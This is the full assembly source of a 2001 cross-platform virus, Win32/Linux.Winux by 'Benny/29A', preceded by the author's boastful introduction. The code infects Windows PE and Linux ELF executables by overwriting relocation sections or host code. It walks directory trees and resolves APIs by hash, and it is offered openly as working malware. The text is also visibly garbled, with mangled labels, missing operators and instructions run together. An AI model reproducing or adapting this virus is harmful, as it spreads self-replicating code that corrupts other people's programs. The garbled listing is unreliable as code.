; -----------------------
;: Win32 / Linux.winux:
; - ---------------- -
;: by Benny / 29A:
; --------------
;
;
;
Heya PPL,
;
Lemme Introduce You My First Multi-Platform Virus, The Worlds First
PE / ELF Infector. The Idea of First Win32 / Linux Virus Came To My Head
When I Was Learning Linux Viruses. I'm Not Linux Expert, I COULDN '
Code for Linux In Assembler - I am Familiar with Intel Syntax, AT & T
IS A Bit Chaotic for Me. However, I Decided to Learn More About Linux
Coding and left my place of newbee. I Was always fascinated of Linux
Scene and low-level programming under Linux But I Never Knew Much
About IT.
;
I Wanted to Code Virus for Linux and Learn from It. But Becoz There
; Already Exist Some Viruses and i Knew I Won't becomle to bring any
New Technique, I DECIDED to CODE SOMETHING UNIQUE -> Win32 / Linux
Compatible Multi-Platform Infector. And Here You Can Find The Result
; OF my trying. Now, after, i've got Some Valuable Experiencez and
I'm Glad for That. Coding / Debugging In Linux Was Hard for Me, But I
Had Fun and I Learned a Lot. And That's The Most Important.
;
;
- Technical Details -
;
The virus itself ain't Much. It's not big, it's not completed,
It's not resident nor polymorphic .. I Wanded to be the Virus Like
This. Just to show Something New, Show That Something Never Seen
Before Is Possible And How Can IT Be Coded.
;
The Virus Is Devided to Two Partz: Win32 Part and Linux Part. EVERY
Part is able to infect Both of pe and elf filez. this Source IS
; Designed to Be Compiled by Tasm Under Win32, Nevertheless IT CAN
Infect Linux Programz and So Then IT Will Be Able To Be Executed; in Linux Environment (and the it is also able to infect
Win32 Part, Which Can Be Executed in Win32 Environment etc ...).
;
Win32 Part:
; ----------------
;
Virus Infects PE Filez by overwritting .Reloc Section, So It Does Not
Enlarge Host File Size. Filez That Don't have .reloc section, BIG
ENOUGH for Virus Code, Can't Be Infected (Explorer.exe Can Be Used To
Test Infection Capabilities). It can pass thru Directory Tree by Well
KNOWN "dotdot" Method ("cd ..") and there infects all peend elf
Filez - Virus Does Not Check Extensionz, IT Analysis Victim's Internal
Format and the deciez what.
When All Filez Are Passed and / or Infected Virus Will Execute Host Code.
;
Linux Part:
; ----------------
;
; Virus infects elf filez by overwritting host code by viral code. The
; Original Host Code Is Stored At the End of Host File. IT CAN Infect
ALL FILEZ (Both of PE and ELF) in Current Directory, Also Without
Checking file extensionz.
When All Filez Are Passed and / or Infected Virus Will Restore Host Code
(OverWrite Itself by Original Host Code) and Execute IT.
;
;
Well, you are probably asking how it is possible That Virus Can Infect Win32
AppZ from Linux Environment and Linux Appz from Win32 Environment. Yeah,
Many PPL Already Asked Me. for instance, under some emulator. there exist
Some Emulatorz (Win4lin, Wine etc ..) Which Are Offen Used to Execute Win32
AppZ under Linux. Also, I Know Many PPL That Have Partition Specially
Reserved for cd burnse, WHERE Thei store Both of Win32 and Linux Programz.
Virus Executed from there Has No Problemz with Infection, HEH;
;
;
Does this Virus Work? HEH, Sure It Does. I Tested It On Win98, Win2000 and; Redhat 7.0, And IT WORKED WITHOUT ANY Problemz. However, if You Will Find
ANY PROBLEMZ, DON 'TY SHY AND SEND ME A BUG Report ;-P
;
;
; - LICENCE AGREEMENT -
;
This Virus Is Covered by GPL - GNU General Public License. All crucial
FACTS Can Be Found There. Read It Before Using!
;
;
; - Last Notez -
;
WHILE I WAS Finishing Universes and Coding Winux, Many Personal Thingz
Happened to Me. Again Such Depressive Season as Only Winter Can Be
Fell Down on Me .. I'm finishing my high-school, last year, many examz
(AND i know nothing, you know what feeling, heh :) etc. End of Next
Stage of my life is getting closer and i don't know how Will That next
; One Be for me, what it will take and bring to me. I'm looking forward
To Summer, The Best Season in The Year, No Depression, No School, NO
FUCKING Problemz I Still Have and Can't Hold Them All .. C Ya L8R,
Somewhere in timespace ..
;
;
;
; -----------
:: Benny / 29A -
;: Benny@post.cz ---------
(c) March, 2001: http://benny29a.cjb.net:
; CZECH REPUBLIC -------------------------
.386P
.MODEL FLAT
Include Win32API.inc
INCLUDE USEFUL.INC
Include Mz.inc
INCLUDE PE.IC
.DATA
DB?
.code
Start: pushad
@Seh_setupframe; setup SEH FRAME
Call gdelta
GDELTA: POP EBP; EBP = DELTA OFFSET
Call get_base; Get K32 Base Address
Call get_apis; Find Addresses of Apiz
Lea Eax, [EBP Prev_Dir - GDELTA]
Push EAX
PUSH MAX_PATH
Call [EBP A_GETCURRENTDIRECTORYA - GDELTA]
Get Current Directory
PUSH 20
POP ECX; 20 Passs in Directory Tree
f_INFECT:
Push ECX
Direct action - Infect All PE Filez in Directorya ESI, [EBP WFD - GDELTA]; WIN32_FIND_DATA STRUCTURE
Push ESI; Save ITS Address
@PushSz '*. *'; Search for All Filez
Call [EBP A_FINDFIRSTFILEA - GDELTA]; Find First File
INC EAX
JE E_FIND; Quit if not found
Dec EAX
Push Eax; Save Search Handle to Stack
F_Next: Call Wcheckinfect; Infect Found File
Push ESI; Save WFD Structure
Push DWORD PTR [ESP 4]; And Search Handle from Stack
Call [EBP A_FINDNEXTFILEA - GDELTA]; Find Next File
Test Eax, EAX
JNE F_NEXT; and INFECT IT
f_close: Call [EBP A_FINDCLOSE - GDELTA]; Close Search Handle
e_find: @pushshsz '..'
MOV ESI, [EBP A_SETCURRENTDIRECTORYA - GDELTA]
Call ESI; Go Upper in Directory Tree
POP ECX
LOOP F_INFECT; and AGAIN ..
Lea Eax, [EBP Prev_Dir - GDELTA]
Push EAX
Call ESI; Go Back to Original Directory
END_HOST:
@Seh_removeframe; Remove SEH FRAME
Popad
EXTRN EXITPROCESS
MOV Eax, Offset EXIXROCESS-400000H
Original_EP = DWORD PTR $ -4
Add Eax, 400000H
Image_base = dword ptr $ -4
JMP EAX; and Go Back to Host Program
Infect File (Win32 Version)
WCHECKINFECT PROC
Pushhad
@Seh_setupframe; setup SEH FRAME
And DWORD PTR [EBP SuCELF - GDELTA], 0
TEST [ESI.WFD_DWFILEATTRIBUTES], FILE_ATTRIBUTE_DIRECTORY
Jne End_Seh; Discard Directory ENTRIES
XOR ECX, ECX
CMP [ESI.WFD_NFILESIGHIGH], ECX
Jne End_Seh; Discard Files> 4GB
Mov Eax, [ESI.WFD_NFILESZELOW]
CMP EAX, 4000H
JB end_seh; Discard Small Filez
MOV [EBP L_LSEEK - GDELTA], EAX
XOR EAX, EAX
Push EAX
Push file_attribute_normal
Push Open_EXISTING
Push EAX
Push EAX
Push generic_read or generic_write
Lea Eax, [ESI.WFD_SZFILENAME]
Push EAX
Call [EBP A_CREATEFILEA - GDELTA]; Open FileInc EAX
JE END_SEH
Dec EAX
MOV [EBP HFILE - GDELTA], EAX
CDQ
Push Edx
Push Edx
Push Edx
Push Page_Readwrite
Push Edx
Push EAX
Call [EBP A_CREATEFILEMAPPINGA - GDELTA]
CDQ
XCHG EAX, ECX
JECXZ END_CFMA
MOV [EBP HMAPFILE - GDELTA], ECX
Push Edx
Push Edx
Push Edx
Push file_map_write
Push Ecx; Map File to Address Space
Call [EBP A_MAPVIEWOFFILE - GDELTA]
XCHG EAX, ECX
JECXZ END_MVOF
MOV [EBP LPFILE - GDELTA], ECX
JMP n_fileopen
Close_file:
Push 12345678H
LPFILE = DWORD PTR $ -4; unmap file
Call [EBP A_UNMAPVIEWOFFILE - GDELTA]
END_MVOF:
Push 12345678H
HMAPFILE = DWORD PTR $ -4
Call [EBP A_CLOSEHANDLE - GDELTA]
END_CFMA:
MOV ECX, 12345678H; WAS IT Linux Program (ELF)?
Sucelf = DWORD PTR $ -4
Jecxz c_close; no, close That file
Push 2
PUSH 0
PUSH 0
Push DWORD PTR [EBP HFILE - GDELTA]
Call [EBP A_SETFILEPOINTER - GDELTA]
Go to EOF
PUSH 0
Lea Eax, [EBP SuCELF - GDELTA]
Push EAX
Push Virtual_END-START
Push 12345678H
A_MEM = DWORD PTR $ -4
Push DWORD PTR [EBP HFILE - GDELTA]
Call [EBP A_WRITEFILE - GDELTA]
Write there orig. Program Part
Push Mem_Release
PUSH 0
Push DWORD PTR [EBP A_MEM - GDELTA]
Call [EBP A_VIRTUALFREE - GDELTA]
; and deallocate used memory
C_close: Push 12345678H
Hfile = DWORD PTR $ -4
Call [EBP A_CLOSEHANDLE - GDELTA]; Close File
JMP END_SEH; and quit
n_fileopen:
Call Check_elf
JE WINFECTELF; Is IT Linux Program (ELF)?
Add AX, -IMAGE_DOS_SIGNATURE
JNE CLOSE_FILE
Call Check_pe
JNE CLOSE_FILE; Is IT Win32 Program (PE)?
Important Chex
CMP Word Ptr [ESI.NT_FILEHEADER.FH_MACHINE], image_file_machine_i386
JNE CLOSE_FILE
MOV AX, [ESI.NT_FILEHEADER.FH_CHARACTERISTICS]]
Test AX, Image_File_Executable_Image
JE close_file
Test Ax, Image_File_DLL
JNE CLOSE_FILE
Test AX, Image_File_System
JNE CLOSE_FILE
MOV Al, Byte Ptr [ESI.NT_FILEHEADER.OH_SUBSYSTEM]
Test al, image_subsystem_native
JNE CLOSE_FILE
Movzx Eax, Word Ptr [ESI.NT_FILEHEADER.FH_NUMBEROFSECTIONS]
Dec EAX
Test Eax, EAX
JE close_file
Call Header & ReelS; Get Pe Headerz and Check for Relocs
JE close_file; quit if no relocs
Mov EBX, [EDI.SH_VIRTUALADDRESS]
CMP EAX, EBX
JNE CLOSE_FILE
CMP [EDI.SH_SIZEOFRAWDATA], Virus_END-START 500
JB close_file; is it large enough?
Pushhad
XOR EAX, EAX
MOV EDI, EDX
Stosd
Stosd
Popad; ERASE RELOCS RECORD
Call set_alignz; Align Section Variable
Push DWORD PTR [EBP Original_EP - GDELTA]
Push DWORD PTR [EBP Image_BASE - GDELTA]
Save Used Variablez
MOV EAX, [ESI.NT_OPTIONALHEADER.OH_ADDRESSOFENTRYPOINT]
MOV [esi.nt_optionalheader.oh_addressofentryPoint], EBX
MOV [EBP Original_EP - GDELTA], EAX
MOV EAX, [ESI.NT_OPTIONALHEADER.OH_IMAGEBASE]
MOV [EBP Image_BASE - GDELTA], EAX
Set Variablez
Pushhad
Mov edi, [edi.sh_pointertorawdata]
Add Edi, [EBP LPFILE - GDELTA]
Lea ESI, [EBP START - GDELTA]
Mov ECX, Virus_END-START
REP MOVSB; OVERWRITE RELOCS BY Virus Body
Popad
POP DWORD PTR [EBP Image_BASE - GDELTA]
POP DWORD PTR [EBP Original_EP - GDELTA]
Restore Used Variablez
OR DWORD PTR [EDI.SH_CHARACTERISTICS], image_scn_mem_write
JMP close_file; set flag and quit
WcHECKINFECT ENDP
Infect Linux Program (Win32 Version)
WinfeCtelf Proc
Mov Edi, ECX
Movzx Eax, Word PTR [EDI 12H]
CMP EAX, 3
JNE CLOSE_FILE
Call get_elf; Get Elf Headerz
p_sectionz:
Mov Eax, [ESI 0CH]; Virtual AddressAdd Eax, [ESI 14H]; Virtual Size
CMP EBX, EAX
JB GOT_SECTION; Does EP FIT TO THIS SECTION?
Add ESI, EDX; NO, GET To Next Record
LOOP P_SECTIONZ; ECX-TIMEZ
JMP Close_File; Invalid ELF, QUIT
Got_section:
Mov Eax, [EBP START - GDELTA]
MOV ECX, [ESI 10h]
Add ECX, EDI
CMP [ECX], EAX
JE close_file; infection check
Mov Eax, [ESI 14h]
CMP Eax, Virtual_END-START
JB Close_File; Must Be Large ENOUGH
Push Page_Readwrite
Push Mem_Rserve or Mem_Commit
Push EAX
PUSH 0
Call [EBP A_VIRTUALLOC - GDELTA]
Test Eax, Eax; Allocate Buffer for Host Code
JE close_file
MOV [EBP A_MEM - GDELTA], EAX
Pushhad
MOV ECX, [ESI 14h]
MOV ESI, [ESI 10h]
Add ESI, EDI
PUSH ESI
XCHG Eax, EDI
Rep Movsb; Copy Host Code To Our Buffer
POP EDI
Lea ESI, [EBP START - GDELTA]
MOV ECX, Virtual_END-START
Rep Movsb; Overwrite Host Code by Virus Body
Popad
Add DWORD PTR [EDI 18H], LinuxStart-Start
MOV [EBP SuCELF - GDELTA], EDI
JMP close_file; set semaphore and quit
WinfeCtelf endp
This Procedure Can Retrieve API Addresses
GET_APIS PROC
Pushhad
@Seh_setupframe
Lea ESI, [EBP CRC32S - GDELTA]; GET PTR to CRC32 VALUES OF API API
Lea EDI, [EBP A_APIS - GDELTA]; WHERE TO Store API Addresses
Push CRC32C; How Many Apis Do WE NEED
POP ECX; in ECX ...
G_apis: Push Eax; Save K32 Base
Call get_api
STOSD; Save Address
Test Eax, EAX
POP EAX
JE Q_GPA; Quit if not found
Add ESI, 4; Move to Next CRC32 Value
LOOP G_APIS; Search for API Addresses in a loop
End_seh: @seh_removeframe; Remove SEH FRAME
Popad; restore all registers
Ret; and quit from procedure
Q_GPA: @seh_removeframe
Popad
POP EAX
JMP end_host; quit if error
GET_APIS ENDP
This Procedure Can Retrieve Address of Given ApiGET_API PROC
Pushad; Store All Registers
@Seh_setupframe; setup SEH FRAME
Mov Edi, [eax.mz_lfanew]; Move To PE Header
Add Edi, Eax; ...
MOV ECX, [edi.nt_optionalheader.oh_directoryentries.de_export.dd_size]
JECXZ END_GPA; Quit IF No Exports
MOV EBX, EAX
Add ebx, [edi.nt_optionalheader.oh_directoryentries.de_export.dd_virtualaddress]
MOV EDX, EAX; Get Address of Export Table
Add Edx, [ebx.ed_addressofnames]; Address of API Names
MOV ECX, [EBX.ED_NUMBEROFNAMES]; Number of API Names
MOV EDI, EDX
Push DWORD PTR [ESI]; Save CRC32 to Stack
MOV EBP, EBP
XOR EAX, EAX
Apiname: Push EAX
MOV ESI, EBP; Get Base
Add ESI, [EDX EAX * 4]; Move to API Name
Push ESI; Save Address
@ endsz; go to the end of string
SUB ESI, [ESP]; Get String Size
Mov EDI, ESI; Move It To Edi
POP ESI; Restore Address of Api Name
Call CRC32; Calculate CRC32 of API Name
CMP EAX, [ESP 4]; Is IT Right API?
POP EAX
JE g_name; yeah, we got it
Inc Eax; Increment Counter
Loop Apiname; and search for next api name
POP EAX
END_GPA: XOR Eax, Eax; Set Flag
OK_GPA: @seh_removeframe; Remove SEH FRAME
MOV [ESP.PUSHAD_EAX], EAX; Save Value to Stack
Popad; restore all registers
Ret; quit from procedure
g_name: POP EDX
MOV EDX, EBP
Add Edx, [ebx.ed_addressofordinals]
Movzx Eax, Word PTR [EDX EAX * 2]
CMP EAX, [ebx.ed_numberoffunctions]]
JAE END_GPA-1
Mov EDX, EBP; Base of K32
Add Edx, [EBX.ED_ADDRESSOFFUNCTIONS]; Address of API Functions
Add EBP, [EDX EAX * 4]; Get API Function Address
XCHG EAX, EBP; We got address of API in EAX
JMP OK_GPA; quit
GET_API ENDP
This Procedure Can Retrieve Base Address of K32
GET_BASE PROC
Push EBP; Store EBP
Call GDLT; Get Delta Offset
GDLT: POP EBP; To EBPMOV EAX, 12345678H; Get Lastly Used Address
Last_kern = dword ptr $ -4
Call Check_kern; is this address valid?
Jecxz end_gb; yeah, we got the address
Call GB_Table; Jump over the address TABLE
DD 077E00000H; NT / W2K
DD 077E80000H; NT / W2K
DD 077ED0000H; NT / W2K
DD 077F00000H; NT / W2K
DD 0BFF70000H; 95/98
GB_TABLE:
POP EDI; Get Pointer to Address Table
Push 4; Get Number of items in The Table
POP ESI; To ESI
GBLOOP: MOV EAX, [EDI ESI * 4]; Get Item
Call Check_kern; is address valid?
JECXZ END_GB; YEAH, WE GOT The Valid Address
Dec ESI; DECREMENT ESI
Test ESI, ESI; END OF TABLE?
JNE GBLOOP; NOPE, TRY NEXT ITEM
Call scan_kern; scan the address space for K32
END_GB: POP EBP; Restore EBP
Ret; quit
Check_kern:; check if k32 address is valid
MOV ECX, EAX; Make ECX! = 0
Pushad; Store All Registers
@Seh_setupframe; setup SEH FRAME
Movzx EDX, Word Ptr [EAX]; Get Two Bytes
Add EDX, - "ZM"; Is IT MZ HEADER?
JNE END_CK; NOPE
MOV EBX, [Eax.mz_LFanew]; Get Pointer to PE Header
Add Ebx, EAX; Normalize IT
MOV EBX, [EBX]; Get Four Bytes
Add EBX, - "EP"; Is IT PEHEADER?
JNE END_CK; NOPE
XOR ECX, ECX; WE GOT K32 BASE ADDRESS
MOV [EBP LAST_KERN - GDLT], EAX; Save K32 Base Address
End_ck: @seh_removeframe; Remove SEH FRAME
MOV [ESP.PUSHAD_ECX], ECX; Save ECX
Popad; restore all registers
Ret; if ecx == 0, Address Was Found
SEH_HNDLR Macro; Macro for SEH
@Seh_removeframe; Remove SEH FRAME
Popad; restore all registers
Add DWORD PTR [EBP BADDR - GDLT], 1000H; Explore Next Page
JMP BCK; Continue Execution
ENDM
Scan_kern:; Scan Address Space for K32
BCK: Pushhad; Store All Registers
@Seh_setupframe; setup SEH FRAME
Mov Eax, 077000000H; Starting / Last AddressBaddr = DWORD PTR $ -4
Movzx EDX, Word Ptr [EAX]; Get Two Bytes
Add EDX, - "ZM"; Is IT MZ HEADER?
JNE PG_FLT; NOPE
Mov edi, [eax.mz_lfanew]; Get Pointer to PE Header
Add Edi, EAX; Normalize IT
MOV EBX, [EDI]; Get Four Bytes
Add EBX, - "EP"; Is IT PEHEADER?
JNE PG_FLT; NOPE
MOV EBX, EAX
Mov ESI, EAX
Add ebx, [edi.nt_optionalheader.oh_directoryentries.de_export.dd_virtualaddress]
Add ESI, [EBX.ED_NAME]
MOV ESI, [ESI]
Add ESI, - 'NREK'
JE end_sk
PG_FLT: XOR ECX, ECX; WE GOT K32 BASE Address
MOV [ECX], ESI; Generate Page Fault! Search Again ...
END_SK: MOV [EBP LAST_KERN - GDLT], EAX; Save K32 Base Address
@Seh_removeframe; Remove SEH FRAME
MOV [ESP.PUSHAD_EAX], EAX; Save Eax - K32 Base
Popad; restore all registers
RET
GET_BASE ENDP
CRC32: PUSH ECX; Procedure for Calculating CRC32S
Push EDX; At Run-Time
Push EBX
XOR ECX, ECX
Dec ECX
MOV EDX, ECX
Nextbytecrc:
XOR EAX, EAX
XOR EBX, EBX
Lodsb
XOR Al, Cl
MOV CL, CH
MOV CH, DL
MOV DL, DH
MOV DH, 8
NextbitCrc:
SHR BX, 1
RCR AX, 1
JNC NOCRC
XOR AX, 08320H
XOR bx, 0edb8h
NOCRC: DEC DH
JNZ nextbitCrc
XOR ECX, EAX
XOR EDX, EBX
Dec Edi
JNE NEXTBYTECRC
Not Edx
NOT ECX
POP EBX
MOV EAX, EDX
ROL EAX, 16
MOV AX, CX
POP EDX
POP ECX
RET
Signature DB 0, '[Win32 / Linux.winux] Multi-Platform Virus by Benny / 29A', 0
Little Signature of Mine ;-)
ViRal EntryPoint in Linux Programz
LinuxStart:
Push Eax; Reserve Variable for Return to Host
Pushhad
MOV EBX, [ESP.CPUSHAD 8]; Get Command Line
Call lgdelta
LGDELTA: POP EBP; EBP = DELTA OFFSET
MOV ECX, END_END_LHOST-END_LHOST
SUB ESP, ECX
MOV EDI, ESP
LEA ESI, [EBP END_LHOST - LGDELTA]
Rep Movsb; Copy Virus to Stack and Jump Twhere
JMP ESP; (Becoz We Need to Restore Host Code Back)
END_LHOST PROC
Push EBX
PUSH 125
POP EAX
Lea EBX, [EBP START - LGDELTA]
And EBX, 0FFFFF000H
MOV ECX, 3000H
Mov EDX, 7
INT 80H; DEPROTECT CODE Section
POP EBX
Push 5
POP EAX
XOR ECX, ECX
INT 80H; Open Host File
XCHG EAX, EBX
Test EBX, EBX
Jns read_host
Q_Host: xor Eax, EAX
INC EAX
Push -1
POP EBX
INT 80H; Quit if Error
Read_host:
Push 19
POP EAX
MOV ECX, 12345678H
l_lseek = dword ptr $ -4
CDQ
INT 80H; Seek to Saved Host Code (EOF - Some Bytez)
Test Eax, EAX
JS Q_Host
Pushhad
Push 5
POP EAX
Call Cur_Dir
DB '.', 0
Cur_dir: POP EBX
XOR ECX, ECX
CDQ
INT 80H; Get Current Directory Descriptor
XCHG EAX, EBX
INF_DIR: PUSH 89
POP EAX
Lea ECX, [EBP WFD - LGDELTA]
INT 80H; Get File from Directory
XCHG EAX, ECX
JECXZ CLDIR; No more filez ..
Add Eax, 10
Call LCheckinfect; try to infect IT
JMP INF_DIR; And Look for Another File
CLDir: Push 6
POP EAX
INT 80H; Close Directory Descriptor
Popad
Push 3
POP EAX
Lea ECX, [EBP START - LGDELTA]
Mov Edi, ECX
Mov Edx, Virtual_END-START
INT 80H; Restore Host Code
Test Eax, EAX
JS Q_Host
Push 6
POP EAX
INT 80H; Close Host File Descriptor
Add ESP, END_END_LHOST-END_LHOST
Mov [ESP.CPUSHAD], EDI; WRITE HOST Entrypoint Address
Popad
Ret; and jump to there
Infect File (Linux Version)
LCHECKINFECT Proc
Pushhad
XCHG EAX, EBX
Push 5
POP EAX
CDQ
Inc EDX
Inc EDX
MOV ECX, EDX
INT 80H; Open file
XCHG EAX, EBX
Test EBX, EBX
JNS C_Open
Popad
RET
C_Open: MOV [EBP F_HANDLE - LGDELTA], EBX
Push 19
POP EAX
XOR ECX, ECX
INT 80H; Seek to EOF = GET FILE SIZE
MOV [EBP L_LSEEK - LGDELTA], EAX
; Save IT
Push ECX
Push EBX
Inc ECX
Push ECX
Inc ECX
Inc ECX
Push ECX
Push EAX
XOR ECX, ECX
Push ECX
MOV EBX, ESP
Push 90
POP EAX
INT 80H; Map File to Address Space
Add ESP, 24
CMP EAX, 0FFFFF000H
JBE C_MMAP; Quit IF Error
JMP C_File
C_mmap: MOV ECX, EAX
MOV [EBP FM_HANDLE - LGDELTA], EAX
Pushhad
Call Check_elf
JE LINFECTELF; Is IT Linux Program (ELF)?
Add AX, -IMAGE_DOS_SIGNATURE
JNE C_MFILE
Call Check_pe
JNE C_MFILE; Is IT Win32 Program (PE)?
Some Important Chex
CMP Word Ptr [ESI.NT_FILEHEADER.FH_MACHINE], image_file_machine_i386
JNE C_MFILE
MOV AX, [ESI.NT_FILEHEADER.FH_CHARACTERISTICS]]
Test AX, Image_File_Executable_Image
JE C_MFILE
Test Ax, Image_File_DLL
JNE C_MFILE
Test AX, Image_File_System
JNE C_MFILE
MOV Al, Byte Ptr [ESI.NT_FILEHEADER.OH_SUBSYSTEM]
Test al, image_subsystem_native
JNE C_MFILE
Movzx Eax, Word Ptr [ESI.NT_FILEHEADER.FH_NUMBEROFSECTIONS]
Dec EAX
Test Eax, EAX
JE C_MFILE
Call Header & ReelS; Get Pe Headerz and Check for Relocs
JE C_MFILE; Quit if no relocs
Mov EBX, [EDI.SH_VIRTUALADDRESS]
CMP EAX, EBX
JNE C_MFILE
CMP [EDI.SH_SIZEOFRAWDATA], Virus_END-START 500
JB C_MFILE; Is it Large Enough?
Pushhad
XOR EAX, EAX
MOV EDI, EDX
Stosd
Stosd
Popad; Clear Relocs Record
Call set_alignz; Align Section Variable
MOV EAX, [ESI.NT_OPTIONALHEADER.OH_ADDRESSOFENTRYPOINT]
MOV [esi.nt_optionalheader.oh_addressofentryPoint], EBX
MOV [EBP Original_EP - LGDELTA], EAX
MOV EAX, [ESI.NT_OPTIONALHEADER.OH_IMAGEBASE]
MOV [EBP Image_BASE - LGDELTA], EAX
Set Set Some Important Variablez
Pushhad
Mov edi, [edi.sh_pointertorawdata]
Add Edi, [ESP 24]
Lea ESI, [EBP START - LGDELTA]
Mov ECX, Virus_END-START
REP MOVSB; OVERWRITE RELOCS BY VIRUS CODE
Popad
OR DWORD PTR [EDI.SH_CHARACTERISTICS], image_scn_mem_write
Set Flag
C_mfile: popadpush 91
POP EAX
INT 80H; Unmap file
C_File: Push 6
POP EAX
MOV EBX, [EBP F_HANDLE - LGDELTA]
INT 80H; Close File Descriptor
Popad
Ret; and quit
LCHECKINFECT ENDP
Infect Linux Program (Linux Version)
LinfeCtelf Proc
Mov Edi, ECX
Movzx Eax, Word PTR [EDI 12H]
CMP EAX, 3
JNE C_MFILE
Call get_elf; Get Elf Headerz
p_sectionZ2:
MOV EAX, [ESI 0CH]; Virtual Address
Add Eax, [ESI 14h]; Virtual Size
CMP EBX, EAX
JB got_section2; does ep fit to this section?
Add ESI, EDX; NO, GET To Next Record
LOOP P_SECTIONZ2; ECX-TIMEZ
JMP C_MFile; Invalid ELF, QUIT
Got_section2:
Mov Eax, [EBP START - LGDELTA]
MOV ECX, [ESI 10h]
Add ECX, EDI
CMP [ECX], EAX
JE C_MFILE; Infection CHECK
Mov Eax, [ESI 14h]
CMP Eax, Virtual_END-START
JB C_MFILE; Is it Large Enough?
SUB ESP, EAX; Create Buffer in Stack
MOV [EBP S_MEM - LGDELTA], EAX
Add DWORD PTR [EDI 18H], LinuxStart-Start
MOV ECX, [ESI 14h]
MOV ESI, [ESI 10h]
Add ESI, EDI
MOV EAX, ESI
MOV EDI, ESP
Rep Movsb; Copy Original Host Code There
Mov Edi, EAX
Lea ESI, [EBP START - LGDELTA]
MOV ECX, Virtual_END-START
Rep Movsb; Overwrite Host Code by Virus
Push 91
POP EAX
MOV EBX, [EBP FM_HANDLE - LGDELTA]
INT 80H; Unmap file
Push 19
POP EAX
MOV EBX, [EBP F_HANDLE - LGDELTA]
XOR ECX, ECX
CDQ
Inc EDX
Inc EDX
INT 80H; Go to EOF
Push 4
POP EAX
MOV ECX, ESP
Mov Edx, Virtual_END-START
INT 80H; Write there Original Host Code
Add ESP, [EBP S_MEM - LGDELTA]
POPAD; Correct Stack
JMP c_file; and close the file
LinfeCtelf ENDP
Check if it is Linux Program (ELF)
Check_elf Proc
Mov Eax, [ECX]
Push EAX
Add Eax, -464C457FH
POP EAX
RET
Check_elf endp
Check if it is Win32 Program (PE)
Check_pe procmov Eax, [ECX.MZ_LFANEW]
Add Eax, ECX
XCHG Eax, ESI
MOV EAX, [ESI]
Add Eax, -Image_NT_SIGNATURE
RET
Check_pe endp
; Get Some Variablez and Check for Relocationz in PE File
HEADER & RELOCS PROC
Imul eax, emage_sizeof_section_header
Movzx EDX, Word Ptr [ESI.NT_FILEHEADER.FH_SIZEOFOPTIONALHEADER]
Lea EDI, [EAX EDX Image_sizeOf_File_Header 4]
Add Edi, ESI
Lea Edx, [ESI.NT_OPTIONALHEADER.OH_DATADIRECTORY.DE_BASERELOC.DD_VIRTUALADDRESS]
MOV EAX, [EDX]
Test Eax, EAX
RET
HEADER & RELOCS ENDP
Align Section Variable
SET_ALIGNZ PROC
Mov Eax, Virtual_END-START
CMP EAX, [EDI.SH_VIRTUALSIZE]
JB O_VS
MOV ECX, [ESI.NT_OPTIONALHEADER.OH_SECTIONALIGNMENT]
CDQ
Div ECX
Test EDX, EDX
JE O_AL
INC EAX
O_al: Mul ECX
MOV [edi.sh_virtualsize], EAX
O_VS: RET
Set_alignz endp
Get Some Important Variablez from Linux Program (ELF)
GET_ELF PROC
MOV EBX, [EDI 18H]; EP
Mov ESI, [EDI 20H]; Section Header
Add ESI, EDI; NORMALIZE
Movzx EDX, Word PTR [EDI 2EH]; SIZE OF Section Header
Movzx ECX, Word PTR [EDI 30H]; Number of Sectionz
RET
GET_ELF ENDP
END_END_LHOST:
END_LHOST ENDP
GPL DB 'this GNU Program Is Covered by GPL.', 0
; lianship agreement ;-)
; CRC32S of Used APIZ
CRC32S: DD 0AE17EBefh; FindfirstFilea
DD 0AA700106H; FindNextFilea
DD 0C200BE21H; FindClose
DD 08C892DDFH; CREATEFILEA
DD 096B2D96CH; CREATEFILEMAPPINGA
DD 0797B49ECH; MapViewoffile
DD 094524B42H; UnmapViewOffile
DD 068624A9DH; CloseHandle
DD 04402890EH; Virtualalloc
DD 02AAD1211H; VirtualFree
DD 021777793H; WRITEFILE
DD 085859D42H; SetFilePointer
DD 0eBC6C18BH; GetCurrentDirectorya
DD 0B2DBD7DCH; SetCurrentDirectorya
DD 07495B3ADH; OUTPUTDEBUGSTRINGA
CRC32C = ($ -CRC32S) / 4; Number of Apiz
Virus_end:; Addresses of Apiz
A_apis:
A_FindFirstFilea DD?
A_FINDNEXTFILEA DD?
A_FindClose DD?
A_createfilea DD?
A_createfilemappinga dd?
A_mapviewoffile dd?
A_UNMAPVIEWOFFILE DD?
A_CloseHandle DD?
A_virtualalloc DD?
A_VIRTUALFREE DD?
A_WRITEFILE DD?
A_setFilePointer DD?
A_GETCURRENTDIRECTORYA DD?
A_SETCURRENTDIRECTORYA DD?
A_outputDebugstringa dd?
f_handle dd?; File Handle
FM_HANDLE DD?; File Mapping Handle
S_MEM DD?; SIZE OF HOST CODE (for Stack Manipulationz)
WFD WIN32_FIND_DATA?; WIN32_FIND_DATA STRUCTURE
Prev_Dir DB MAX_PATH DUP (?); Original Directory
Virtual_end:
ENDS
End Start; That's All Folx, Wasn't That Kewl? ;-)